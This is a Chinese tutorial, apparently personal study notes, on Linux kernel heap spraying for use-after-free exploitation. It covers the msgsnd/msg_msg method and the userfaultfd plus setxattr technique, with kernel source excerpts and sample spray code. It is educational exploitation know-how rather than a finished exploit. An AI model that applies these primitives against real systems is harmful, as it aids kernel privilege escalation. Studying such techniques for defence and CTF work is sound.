kernel_heap_spray

kernel heap spray

内核堆喷射

当内核中现有的程序没有办法对UAF后的堆块进行操作的时候,可以利用以下的办法来申请释放之后的堆块,然后控制其内容。参考Linux Kernel universal heap spray这篇文章中给出的两种方法,还是特别有效的。

利用msgsnd

我们可以利用msgsnd的方法来申请释放之后的堆块。但是这种方法申请的堆块的前48字节的内容是不能首我们控制的。msgsnd被定义在头文件#include <sys/msg/h>中,下面是msgsnd的用法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define BUFF_SIZE 96-48

struct {
long mtype;
char mtext[BUFF_SIZE];
} msg;

memset(msg.mtext, 0x42, BUFF_SIZE-1);
msg.mtext[BUFF_SIZE] = 0;
msg.mtype = 1;

int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);

msgsnd(msqid, &msg, sizeof(msg.mtext), 0);

当调用msgsnd时,传入的内容被从用户空间拷贝到内核空间。在内核态下会根据传入的size大小来用kmalloc申请空间。具体的过程是msgsnd在内核态下对应的函数是do_msgsnd,在do_msgsnd中会调用load_msg,在load_msg中调用alloc_msg来为msg分配空间。

do_msgsnd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;

ns = current->nsproxy->ipc_ns;

if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;

[1] msg = load_msg(mtext, msgsz);
...

load_msg,通过alloc_msg为msg分配内存,然后再将消息内容拷贝进去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);

alen = min(len, DATALEN_MSG);
[2] if (copy_from_user(msg + 1, src, alen))
goto out_err;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}
...

alloc_msg,可以看到消息的结构是由一个消息头,每个消息的长度不超过DATALEN_MSG(4048),过长的消息会被分片进行封装,最后再被连在一起。消息头是一个长度为48字节的结构体,每个消息片段都是靠着消息头中的list_head结构连在了一起。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct list_head {
struct list_head *next, *prev;
};


struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;

[3] alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL);
if (msg == NULL)
return NULL;

msg->next = NULL;
msg->security = NULL;

len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;
alen = min(len, DATALEN_SEG);
[4] seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
...

这种方法申请的堆块也能够通过msgrcv能够取出消息队列中的消息。很明显这种方法虽然可以控制大小和写入的内容,但是前48个自己的内容是不可控的。

userfaultfd + setxattr

通用的堆喷射

理想状态下通用的堆喷射应该满足三点条件:

  1. 对象的大小是可控的(任何大小)
  2. 对象的内容的可控的
  3. 在利用过程中,申请之后的对象需要保持在内存中。这对于复杂的uaf和竞争情况下是尤为重要的

msgsnd方法只满足第三个条件,它并不是很通用。

userfaultfd

userfaultfd机制是为了。。。而设计的。当一个page fault在被userfaultfd对象注册的区域内发生的时候,发生错误的线程会被强制刮起并且产生一个能通过userfaultfd的文件描述符进行读的event。处理fault_handling的进程会从userfaultfd的文件描述符读取内容,并且通过在 ioctl_userfaultfd 注册的操作进行相应的处理。

首先利用syscall申请一个userfaultfd为uffd

1
2
3
4
5
/* Create and enable userfaultfd object. */
//申请一个userfaultfd
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

注册userfaultfd的api,指定api的版本(api)和启用那些功能(features)

1
2
3
4
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

注册(指定)内存地址空间到userfaultfd对象上,其中uffdio_range指定了地址空间的范围,mode指定了监控的是什么样的fault,目前只有一种模式支持,即 UFFDIO_REGISTER_MODE_MISSING,当访问的地址空间并没有映射到实际的物理页时会就被触发(mmap分配时不会分配实际的物理内存)。

1
2
3
4
5
6
7
8
9
10
struct uffdio_range {
__u64 start; /* Start of range */
__u64 len; /* Length of range (bytes) */
};

struct uffdio_register {
struct uffdio_range range;
__u64 mode; /* Desired mode of operation (input) */
__u64 ioctls; /* Available ioctl() operations (output) */
;

例子中的用法

1
2
3
4
5
6
7
8
9
/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */

uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

接着开启一个线程来监控并处理page_faults

1
2
3
4
5
6
s = pthread_create(&thr, NULL, fault_handler_thread, (void *)uffd);
if (s != 0)
{
errno = s;
errExit("pthread_create");
}

首先介绍一下poll()函数

poll函数
1
2
#include <poll.h>
int poll(struct pollfd *fds, nfds_t nfds, int timeout);

用于等待若干个fd(file descriptor)是否已经准备好被读写。

fds指明需要等待的fd的,用以下的结构来描述。event是一个输入参数,用于表示poll感兴趣的fd的活动。revent是一个输出参数,用于表示fd实际发生的活动。

1
2
3
4
5
struct pollfd {
int fd; /* file descriptor */
short events; /* requested events */
short revents; /* returned events */
};

这个函数返回已经准备好被读数据的fd(revent不为0)的个数。

这时例子中的用法,pollfd.events = POLLIN; 表示poll关心fd是否有数据要去读

1
2
3
4
5
6
7
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");

从uffd中读取活动,并且查看event的类型是否是UFFD_EVENT_PAGEFAULT,下面的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct uffd_msg {
__u8 event; /* Type of event */
...
union {
struct {
__u64 flags; /* Flags describing fault */
__u64 address; /* Faulting address */
} pagefault;
struct { /* Since Linux 4.11 */
__u32 ufd; /* Userfault file descriptor
of the child process */
} fork;
struct { /* Since Linux 4.11 */
__u64 from; /* Old address of remapped area */
__u64 to; /* New address of remapped area */
__u64 len; /* Original mapping length */
} remap;
struct { /* Since Linux 4.11 */
__u64 start; /* Start address of removed area */
__u64 end; /* End address of removed area */
} remove;
...
} arg;
/* Padding fields omitted */
} __packed;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* Read an event from the userfaultfd. */

nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
{
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}

if (nread == -1)
errExit("read");

/* We expect only one kind of event; verify that assumption. */

if (msg.event != UFFD_EVENT_PAGEFAULT)
{
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}

最后通过ioctl(uffd, UFFDIO_COPY, &uffdio_copy)来处理page fault,其中传入的结构如下所示,其中mode被设置成0表示copy之后就会唤醒阻塞的线程,如果设置成UFFDIO_COPY_MODE_DONTWAKE就不会唤醒,需要UFFDIO_WAKE进行手动唤醒。

1
2
3
4
5
6
7
struct uffdio_copy {
__u64 dst; /* Destination of copy */
__u64 src; /* Source of copy */
__u64 len; /* Number of bytes to copy */
__u64 mode; /* Flags controlling behavior of copy */
__s64 copy; /* Number of bytes copied, or negated error */
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */

memset(page, 'A' + fault_cnt % 20, page_size);
fault_cnt++;

uffdio_copy.src = (unsigned long)page;

/* We need to handle page faults in units of pages(!).
So, round faulting address down to page boundary. */

uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

printf(" (uffdio_copy.copy returned %" PRId64 ")\n",
uffdio_copy.copy);

不处理直接 UFFDIO_WAKE 会怎样

第一次page fault会返回 VM_FAULT_RETRY, 之后就看具体内核的处理方式了。
有的版本内核 VM_FAULT_RETRY 之后会清除 FAULT_FLAG_ALLOW_RETRY 标志位,回到用户态之后再次触发 page fault,此时 handle_userfault 会返回 VM_FAULT_SIGBUS 导致进程收到 SIGBUS 信号终止。
而不巧的是我选择的目标 v5.9 版本的内核是直接在 do_user_addr_fault 中直接 goto 到之前的位置重新处理,但没有清除这一标志位,这就直接导致了一个死循环。

关于mmap

mmap分配时不会分配实际的物理页

mmap的工作原理,当你发起这个调用的时候,它只是在你的虚拟空间中分配了一段空间,连真实的物理地址都不会分配的,当你访问这段空间,CPU陷入OS内核执行异常处理,然后异常处理会在这个时间分配物理内存,并用文件的内容填充这片内存,然后才返回你进程的上下文,这时你的程序才会感知到这片内存里有数据

一些flag的意义

MAP_PRIVATE内存的内容的改变不会被同步到fd中

MAP_SHARED内存的内容的改变会被同步到fd中

MAP_ANONYMOUS会忽略掉fd(不允许将页映射到文件上,某些时候需要fd必须时-1),申请到的页会被清空

下面是我测试的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <sys/types.h>

int main(int argc, char const *argv[])
{
int fd = open("./flag", O_RDWR);
if(fd<0)
{
puts("error!");
exit(0);
}
/*
MAP_PRIVATE内存的内容的改变不会被同步到fd中
MAP_SHARED内存的内容的改变会被同步到fd中
MAP_ANONYMOUS会忽略掉fd(不允许将页映射到文件上),申请到的页会被清空
*/
void *addr = mmap(NULL,0x1000 ,PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
//void *addr = mmap(NULL,0x1000 ,PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
printf("0x%016lx\n",addr);
puts(addr);
strcpy(addr,"changed!");
puts(addr);
close(fd);
return 0;
}

利用userfaultfd+setxattr进行堆喷射

首先我们来说明一下二者在堆喷射的作用,userfaultfd用来挂起setxattr的内容使得setxattr分配的堆块驻留在内核中不被释放;setxattr用于分配之堆块并且控制堆块中的内容。下面是setxattr的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
void *vvalue = NULL; /* If non-NULL, we used vmalloc() */
char kname[XATTR_NAME_MAX + 1];

if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
return -EINVAL;

error = strncpy_from_user(kname, name, sizeof(kname));
if (error == 0 || error == sizeof(kname))
error = -ERANGE;
if (error < 0)
return error;

if (size) {
if (size > XATTR_SIZE_MAX)
return -E2BIG;
[5] kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);
if (!kvalue) {
vvalue = vmalloc(size);
if (!vvalue)
return -ENOMEM;
kvalue = vvalue;
}
[6] if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(kvalue, size);
}

error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
if (vvalue)
vfree(vvalue);
else
[7] kfree(kvalue);
return error;
}

可以看到程序在[5]处根据我们传入的size用kmalloc申请了内存,然后[6]处会将用户态的数据拷贝到申请的堆块中,此时如果触发page fault,此线程就会被挂起并根据userfaultfd的机制回到用户态进行处理。传入的value的位置可以如下图的形式:

Heap spray

page1是已经分配了物理页,而page2没有分配物理页(这意味着访问page2会触发page fault),用userfaultfd机制来监控page2。

我们将需要拷贝的块放在page1和page2之间,将需要写入堆块的内容放在page1中,为什么要这样做呢?在setxattr中进行copy_from_user(kvalue, value, size)时,当访问到page1的内容时就会拷贝到内核的块中(这样我们就能控制堆块的内容),当访问的page2的地址的时候就触发page fault从而回到userfaultfd的处理线程,这个线程就会被挂起(此内核堆块就会驻留在内核中不会被释放)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//触发userfaultfd
void tg_uaf(void *p)
{
setxattr("/exp", "spray", p, 0x18, XATTR_CREATE);
}

...//userfaultfd的初始化

//开启一个线程触发触发userfaultfd
//拷贝的地址范围要如上图所示覆盖page1和page2
pthread_create(&id, NULL, tg_uaf, addr-8);

//在主线程中监控setxattr
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
nread = read(uffd, &msg, sizeof(msg));
puts("[*]we have got a page fault!");
printf("[*]address:0x%lx\n", msg.arg.pagefault.address);

...//堆块会驻留在内存中

//处理page fault
//这里用的是UFFDIO_ZEROPAGE,将内存页清空
struct uffdio_zeropage uffd_zero;
uffd_zero.range.start = msg.arg.pagefault.address;
uffd_zero.range.len = page_size;
uffd_zero.mode = 0;
if (ioctl(uffd, UFFDIO_ZEROPAGE, &uffd_zero) == -1)
errExit("ioctl-UFFDIO_ZEROPAGE");